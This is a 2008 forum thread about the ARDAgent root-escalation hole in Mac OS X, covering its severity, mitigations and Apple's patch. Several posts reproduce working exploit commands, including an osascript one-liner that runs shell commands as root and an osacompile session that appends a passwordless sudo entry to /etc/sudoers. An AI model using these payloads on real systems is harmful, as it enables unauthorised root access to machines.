|
|
Huge, Crazy, Ridiculous OS X Security Hole (Page 3)
|
|
|
|
Clinically Insane
Join Date: Jun 2001
Location: planning a comeback !
Status:
Offline
|
|
Originally Posted by Horsepoo!!!
'tards be invadin' MacNN.
Well, you came here, does that count ?
-t
|
|
|
|
|
|
|
|
|
Moderator
Join Date: Apr 2000
Location: Gothenburg, Sweden
Status:
Offline
|
|
On Apple's current iMacs, getting to the harddrive and disassembling it takes some fifteen minutes and requires special tools.
Originally Posted by Horsepoo!!!
You gotta be shittin' me. Some computers do in fact make it difficult to access the hard drive but other computers (like say a Mac Pro) is a matter of snipping a lock, pulling a latch, pulling a drawer and snatching the HD with zero tools. You might be slow to remove hard drives but even I can pull a hard drive from a machine within 1 or 2 minutes.
Yes, a Mac Pro would be easy to disassemble. That is the reason I didn't mention the Mac Pro. In fact, I don't think you should put one of those in a lab unless it was in one of those cages.
Originally Posted by Horsepoo!!!
Not sure about the Mac mini? WTF...nobody's gonna remove a Mac mini drive, they'll just drop the Mac mini in a small bag and run.
Hopefully a public Mac is secured to the desk somehow, such as with a security cable.
Originally Posted by Horsepoo!!!
And NO...everyone who thinks a hacker will try to hack into a computer lab computer is dumb...those machines are ghosted everyday.
Beware of generalizing from your own experiences. Specifically, the one where I worked for three years did not re-ghost the machines every night. The system was locked down to the point of users not being able to change anything, and only reghosted once a year. We had the ability to ghost the machines at will, remotely, but it wasn't anything we did regularly.
Originally Posted by Horsepoo!!!
Even if the lab computer is compromised, the next day it won't be.
So a hacker would only have 24 hours to run his keyboard sniffer before every evidence being conveniently wiped - well unless he did something fiendishly clever. Like reinstalling the same thing the next morning.
A hacker armed with this specific exploit can use it to steal passwords in a computer lab or Applestore, and periodic reghosting would only make it easier to hide. That's serious enough.
Originally Posted by Horsepoo!!!
'tards be invadin' MacNN.
I guess it takes one to know one.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Feb 2005
Location: 888500128
Status:
Offline
|
|
Originally Posted by P
Yes, a Mac Pro would be easy to disassemble. That is the reason I didn't mention the Mac Pro. In fact, I don't think you should put one of those in a lab unless it was in one of those cages.
The Mac Pro case can be locked with the little flip-down metal bit behind the lever.
|
|
|
|
|
|
|
|
|
Addicted to MacNN
Join Date: Aug 2004
Location: FFM
Status:
Offline
|
|
Originally Posted by analogika
The Mac Pro case can be locked with the little flip-down metal bit behind the lever.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Oct 2005
Location: Houston, TX
Status:
Offline
|
|
Originally Posted by - - e r i k - -
Correct me if I'm wrong, but this exploit only works with physical access (gui user + terminal), no?
I'm thinking of kiosks and similar, where you have the controls but no physical access to the computer.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Dec 2000
Status:
Offline
|
|
Originally Posted by P
So a hacker would only have 24 hours to run his keyboard sniffer before every evidence being conveniently wiped - well unless he did something fiendishly clever. Like reinstalling the same thing the next morning.
Or, ya know, disabling the mechanism that automatically reghosts the machine. You do have root, after all.
And as for the Mac Pros, well, yeah you can open them quickly - if you pull them out of the little cage underneath the desk first. Which usually requires you to climb behind it and pull all the cables out first. I used to work in a lab full of G4 towers, which were even easier to open than Mac Pros, but if you tried to yank a hard drive out of one, the lab monitor would have to be asleep not to notice.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: May 2001
Location: Brisbane, Australia
Status:
Offline
|
|
Well, there you go. Famed PWN2OWN winner (the guy that hacked and won a MBP last year) Dino Dai Zovi agrees with me and calls it "not nearly that serious." A far cry from Huge, Crazy and Ridiculous in any case Cpt Hyperbole.
Full article as well as a security wish list for Snow Leopard that might be of interest to people here:
How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Dec 2000
Status:
Offline
|
|
Yeah I know, because it only works if you're logged into the GUI, so it doesn't affect all three Macs that are being used in some fashion other than that. Ooh.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: May 2001
Location: Brisbane, Australia
Status:
Offline
|
|
Egg-sactly
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by CharlesS
And as for the Mac Pros, well, yeah you can open them quickly - if you pull them out of the little cage underneath the desk first.
This assumes that the Mac Pro unit is in a "little cage underneath the desk." A few years ago I visited Ohio University (where I went to school) and in one of the labs in the library the Power Mac G5's were out in the open on top of the desks next to the monitors. And they all had strong locks on the back.
Which usually requires you to climb behind it and pull all the cables out first. I used to work in a lab full of G4 towers, which were even easier to open than Mac Pros, but if you tried to yank a hard drive out of one, the lab monitor would have to be asleep not to notice.
Not to mention that at Ohio University the G5s were all on tables packed three to a side (six per table) and the tables were right next to the lab desk and there were security cameras everywhere. There are always more people using the Macs than the Windows machines. I imagine they have Mac Pros there now. The insides might be vastly different, but the case is largely the same.
One would have to be a fool to pull out a pair of bolt cutters to take off the lock and then try to open the machine in that particular lab.
Oh, and firmware passwords were on. Not for keeping people out of the system, but for keeping them from trying to boot off a CD or USB thumb drive.
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Oct 2005
Location: Houston, TX
Status:
Offline
|
|
Originally Posted by - - e r i k - -
Well, there you go. Famed PWN2OWN winner (the guy that hacked and won a MBP last year) Dino Dai Zovi agrees with me and calls it "not nearly that serious." A far cry from Huge, Crazy and Ridiculous in any case Cpt Hyperbole.
Full article as well as a security wish list for Snow Leopard that might be of interest to people here:
How Snow Leopard can save Mac OS X from malware attacks | Zero Day | ZDNet.com
I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.
|
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Oct 2001
Location: San Diego, CA, USA
Status:
Offline
|
|
Originally Posted by mduell
I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.
Yeah, this is about as bad as what he did, as I recall. If this isn't very serious, neither are his credentials.
|
Chuck
___
"Instead of either 'multi-talented' or 'multitalented' use 'bisexual'."
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Jun 2001
Location: planning a comeback !
Status:
Offline
|
|
Originally Posted by Chuckit
Yeah, this is about as bad as what he did, as I recall. If this isn't very serious, neither are his credentials.
QFT
Originally Posted by mduell
I don't understand why he's downplaying it when his own PWN2OWN attack required him to be on a local console.
Well, it's rather obvious to me.
He did it the nerdy way, this security hole can be used by a 3 year old script kiddy.
-t
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Oct 2005
Location: Houston, TX
Status:
Offline
|
|
Originally Posted by turtle777
Well, it's rather obvious to me.
He did it the nerdy way, this security hole can be used by a 3 year old script kiddy
More accessable -> less bad? WTF?
|
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Jun 2001
Location: planning a comeback !
Status:
Offline
|
|
Originally Posted by mduell
More accessable -> less bad? WTF?
Huh ?
Dude is downplaying the EASIER way (i.e. more accessible way) because he wants to be praised for his 1337 haxxor skills.
-t
|
|
|
|
|
|
|
|
|
Fresh-Faced Recruit
Join Date: Jun 2008
Status:
Offline
|
|
Originally Posted by Peter
This isn't that bad. Ironically it'd be most severe to computers such as ones in the Apple Store.
You can't do it over SSH. You need physical access, and you need to be logged in for it to work.
I just saw this. remote login Trojan - TSF - Mac Security Forums
$ ssh angel@localhost
Password:
Last login: Wed Jun 25 06:16:21 2008
Welcome to Darwin!
$ osacompile -e 'global my_username' -e 'set my_username to system attribute "USER"' -e 'on sudoers()' -e 'try' -e 'tell application "ARDAgent" to do shell script "echo \"" & my_username & (ASCII character 9) & "ALL=(ALL)" & (ASCII character 9) & "NOPASSWD: ALL\" >> /etc/sudoers"' -e 'on error' -e 'sudoers()' -e 'end try' -e 'end sudoers' -e 'sudoers()' -o for_remote_cli_sessions.app
$ open for_remote_cli_sessions.app/
$ sudo cat /etc/sudoers
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers file.
#
# Host alias specification
# User alias specification
# Cmnd alias specification
# Defaults specification
# Runas alias specification
# User privilege specification
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL
# Uncomment to allow people in group wheel to run all commands
# %wheel ALL=(ALL) ALL
# Same thing without a password
# %wheel ALL=(ALL) NOPASSWD: ALL
# Samples
# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom
# %users localhost=/sbin/shutdown -h now
angel ALL=(ALL) NOPASSWD: ALL
$
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by Tamika
Yes, so?
You need SSH access for this to work. Most users have SSH disabled on their boxes by default and these days, if you turn on SSH without disabling password logins (i.e. using a public/private key pair) you deserve to get pwned.
I hope Apple fixes this soon.
|
|
|
|
|
|
|
|
|
Mac Elite
Join Date: Sep 2006
Status:
Offline
|
|
No change in the 10.5.4 update released today...!
|
|
|
|
|
|
|
|
|
Fresh-Faced Recruit
Join Date: May 2007
Status:
Offline
|
|
That is stupid. They didn't fix it
At least the changed permissions work for now..
I noticed that these errors get logged in console as well after the permission change:
6/30/08 4:31:04 PM ARDAgent [781] ********ARDAgent Launched********
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective UID.
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective GID.
6/30/08 4:31:04 PM com.apple.launchd[255] ([0x0-0x2e02e].com.apple.RemoteDesktopAgent[781]) Check-in of Mach service failed. PID 781 is not privileged: com.apple.RemoteDesktop.agent
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective UID.
6/30/08 4:31:04 PM ARDAgent [781] ERROR setting effective GID.
6/30/08 4:31:04 PM ARDAgent [781] ********ARDAgent Ready********
Seems it attempts to make itself privileged! That is very stupid..
|
|
|
|
|
|
|
|
|
Fresh-Faced Recruit
Join Date: Nov 2007
Status:
Offline
|
|
this may have already been said, but entering
osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple said.
if you wnat more detail, do the following
osascript -e 'tell application "ARDAgent" to do shell script "id"' and you will see the paper trail
THanks for the great post and the heads up!
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by themacjedicali
this may have already been said, but entering
osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple said.
if you wnat more detail, do the following
osascript -e 'tell application "ARDAgent" to do shell script "id"' and you will see the paper trail
THanks for the great post and the heads up!
Nope.
The AppleScript is running as root. You might not be able to get a root shell, but the AppleScript has root access and a malicious programmer can write an AppleScript that does all sorts of bad things.
This may be working as Apple intended, but it is still a HUGE security problem.
|
|
|
|
|
|
|
|
|
Fresh-Faced Recruit
Join Date: Nov 2007
Status:
Offline
|
|
this may have already been said (and i could be wrong about this), but entering
osascript -e 'tell application "ARDAgent" to do shell script "whoami"'
does not seem give root access, it simply tells the ARD agent to report its system wheel ID (effective id as zero), just like a normal user would get their system id when they type it. and when it executes "whoami" (which is a command that does not require root access) is it not just executing the command whoami and then exiting? just because it says "root" on the screen (echos its effective user id), does not mean you now have root access to the system. simply replacing whoami with a root level command like sudo -s or other commands that require root access results in nothing and no root access. the prompt did not even change nor did the shell to bash (under leopard). Do you have real world success with actually gaining root in this manner using apple script? I have not seen your method work but am interested in investigating before people screw things up by changing permissions on things manually and breaking a whole lot. This seems to work exactly as it should just like apple "said". Only problem is that, like others have said, is that you can have the ard agent do your bidding as you please by just whispering shell commands in its ear lol!
if you wnat more detail, do the following
osascript -e 'tell application "ARDAgent" to do shell script " <remove root-owned files >"'
THanks for the great post and the heads up!
(
Last edited by themacjedicali; Jul 3, 2008 at 02:27 PM.
)
|
|
|
|
|
|
|
|
|
Fresh-Faced Recruit
Join Date: May 2007
Status:
Offline
|
|
MacOsX1-2:~ jeremy$ id
uid=502(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),10 1(com.apple.sharepoint.group.1),79(_appserverusr), 80(admin)
MacOsX1-2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),8(procview),29(c ertusers),3(sys),9(procmod),4(tty),101(com.apple.s harepoint.group.1),5(operator),80(admin),20(staff)
MacOsX1-2:~ jeremy$ chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
chmod: /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent: Operation not permitted
MacOsX1-2:~ jeremy$ sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
Password:
MacOsX1-2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
uid=502(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),10 1(com.apple.sharepoint.group.1),79(_appserverusr), 80(admin)
That was from one of my towers.
The point is it doesn't give root access, is it lets any user issue commands from the root user.
btw, this is local.. Even using SSH to another one of my tower results in this:
MacOsX2:~ jeremy$ id
uid=507(jeremy) gid=20(staff) groups=20(staff),98(_lpadmin),81(_appserveradm),79 (_appserverusr),80(admin),101(com.apple.sharepoint .group.1)
MacOsX2:~ jeremy$ osascript -e 'tell application "ARDAgent" to do shell script "id"'
_RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
|
|
|
|
|
|
|
|
|
Senior User
Join Date: Nov 2005
Status:
Offline
|
|
Originally Posted by SleePyCode
The point is it doesn't give root access, is it lets any user issue commands from the root user.
Gee, that sounds like the definition of "root access" to me. Could one of those commands be to give root access to the current user? (I ask because I don't know; I'm not a UNIX genius.)
|
|
|
|
|
|
|
|
|
Moderator
Join Date: Apr 2000
Location: Gothenburg, Sweden
Status:
Offline
|
|
I think the distinction is that the hack will not give an interactive root shell in his tests. Of course, his syntax is broken - e.g. root should run sudo, he is already root - so it may work with better syntax. If it doesn't work anyway, then it's still a very minor detail - if you have superuser access, you can change the root password, make /bin/bash setuid root or whatever, and there is your interactive root shell.
|
|
|
|
|
|
|
|
|
Addicted to MacNN
Join Date: Aug 2004
Location: FFM
Status:
Offline
|
|
|
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Oct 2000
Location: Los Angeles
Status:
Offline
|
|
|
"The natural progress of things is for liberty to yield and government to gain ground." TJ
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Nov 2000
Location: in front of my Mac
Status:
Offline
|
|
Yep, a job well done.
|
•
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Oct 2005
Location: Houston, TX
Status:
Offline
|
|
Originally Posted by Simon
Yep, a job well done.
By whom?
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Nov 2000
Location: in front of my Mac
Status:
Offline
|
|
Originally Posted by mduell
By whom?
Umm, the OP (CharlesS = Charles S r s t k a) of course. Did you read Apple's security note at all?
(
Last edited by Simon; Aug 3, 2008 at 02:50 PM.
)
|
•
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Dec 2000
Status:
Offline
|
|
Well, I didn't do that good of a job, since I only found the bug that enabled this and didn't notice there was an AppleScript-aware setuid binary on the system that made it a full-fledged rootkit. If I'd noticed that and reported it years ago when I reported the original bug, this could have been fixed long before it ever would have shown up on Slashdot and gone public. Oh well.
It's still possible for non-privileged apps to send AppleScripts to root apps, unfortunately, but this update seems to have neutered "do shell script" and most of the rest of the stuff you could do with it (it says it prevents scripting additions from loading, so that would take care of most stuff the app developer didn't plan on, hopefully). I'd prefer that root apps wouldn't accept AppleScripts from non-root apps at all, but at least this will fix the exploit. Needless to say, everyone should run Software Update and get this patch. It appears to fix a bunch of other stuff, too, including the DNS bug.
|
|
|
|
|
|
|
|
|
Forum Regular
Join Date: Dec 2005
Status:
Offline
|
|
It appears to me as though Apple Security Update 2008-005 has changed permissions of ARDAgent.app. I did not notice any earlier update doing this. I could have missed it, but unlikely as I have been checking after system updates.
Since installing the aforementioned update, I noticed my permissions on ARDAgent.app are: drwxr-xr-x (755)
I had manually set permissions to 750 per a suggestion in this thread.
I ran Permissions Repair to see if it would be changed and got this message the first time only:
"Permissions differ on "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent", should be -rwsr-xr-x , they are -rwxr-xr-x ."
But this only showed up the first time I ran Permissions Repair after the security update and actually file permissions remain: drwxr-xr-x (755)
As an aside, now I persistently get these two messages:
Permissions differ on "Developer/Examples/JavaWebObjects/DataBaseSetUp/dbdump.sh", should be -rw-rw-r-- , they are -rwxrwxr-x .
Permissions differ on "Developer/Examples/JavaWebObjects/DatabaseSetup/dbdump.sh", should be -rwxrwxr-x , they are -rw-rw-r-- .
First it changes one way, then it changes back
|
Cheap things are of no value, valuable things are not cheap.
|
|
|
|
|
|
|
|
Forum Regular
Join Date: Dec 2005
Status:
Offline
|
|
oops, I took a long time to write my post as I was doing something else too. Some one else already reported the same thing I did ^. I'm in Europe and thought most of you guys in US would be asleep
|
Cheap things are of no value, valuable things are not cheap.
|
|
|
|
|
|
|
|
Forum Regular
Join Date: Dec 2005
Status:
Offline
|
|
Way to go Charles, congrats!
|
Cheap things are of no value, valuable things are not cheap.
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Feb 2005
Location: 888500128
Status:
Offline
|
|
Originally Posted by Simon
S r s t k a
How the hell do you pronounce that?
(
Last edited by analogika; Aug 1, 2008 at 01:34 PM.
)
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by analogika
How the hell do you pronounce that?
"Serstika?"
|
|
|
|
|
|
|
|
|
Moderator
Join Date: May 2001
Location: Hilbert space
Status:
Offline
|
|
Originally Posted by analogika
How the hell do you pronounce that?
The same way it is spelled
|
I don't suffer from insanity, I enjoy every minute of it.
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Feb 2005
Location: 888500128
Status:
Offline
|
|
I'm guessing "Zirska", but "you never can tell with bees."
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Dec 2000
Status:
Offline
|
|
We pronounce it sort of like "sir ska", but it's a simplified American pronunciation. When I went to Prague, they pronounced the "t", and put a little roll on the "r", and I can't even pronounce it the correct way. Oh well. That's what happens when a family is in America for a long time, I guess.
I do kind of wish my last name weren't posted in this thread, though - it makes MacNN come up in a Google search for my last name, which I've so far been trying to avoid. Oh well.
|
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Mar 2001
Location: yes
Status:
Offline
|
|
Don't worry CharlesS, I will help!
Charles S. is the best guy that ever lived! He is a computer genius... Very pleasent to work with, a very smart dude, great rates, organized, manages his time well, is an excellent communicator, has incredible hygiene, and can solve just about any problem. He should definitely be hired!
There, now when people search for your name + besson3c, they will get this!
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Dec 2000
Status:
Offline
|
|
|
|
|
|
|
|
|
|
|
Posting Junkie
Join Date: Feb 2005
Location: 888500128
Status:
Offline
|
|
I've edited your name in my post. I have no idea if that'll help.
|
|
|
|
|
|
|
|
|
Senior User
Join Date: Jul 2002
Location: Florida
Status:
Offline
|
|
Ok now does todays Security Update 2008-005 fix this problem ?
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by Gator Lager
Ok now does todays Security Update 2008-005 fix this problem ?
If you look at Apple page, they give credit to CharlesS for reporting the issue. It is indeed fixed.
|
|
|
|
|
|
|
|
|
Senior User
Join Date: Jul 2002
Location: Florida
Status:
Offline
|
|
CharlesS Representing MacNN (and himself)
thanks CharlesS
|
|
|
|
|
|
|
|
|
Senior User
Join Date: Jul 2002
Location: Florida
Status:
Offline
|
|
as for the security update, any other problems pop up ?
|
|
|
|
|
|
|
|
|
Addicted to MacNN
Join Date: Mar 1999
Location: Bellevue, WA
Status:
Offline
|
|
Good job! The update patch has been installed.
|
|
|
|
|
|
|
|
|
Professional Poster
Join Date: Jun 2001
Location: Northwest Ohio
Status:
Offline
|
|
Originally Posted by Gator Lager
as for the security update, any other problems pop up ?
I haven't had any problems on my work machine (Core 2 Duo iMac) yet today since installing the update. And I run Parallels at work which usually has problems with several updates. So, so far.
|
|
|
|
|
|
|
|
|
Clinically Insane
Join Date: Mar 2001
Location: yes
Status:
Offline
|
|
Originally Posted by Gator Lager
as for the security update, any other problems pop up ?
Well, for some reason I can no longer use Applescript to to delete files owned by root without becoming root...
|
|
|
|
|
|
|
|
|
Senior User
Join Date: Nov 2005
Status:
Offline
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Forum Rules
|
|
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
|
HTML code is Off
|
|
|
|
|
|
|
|
|
|
|
|
|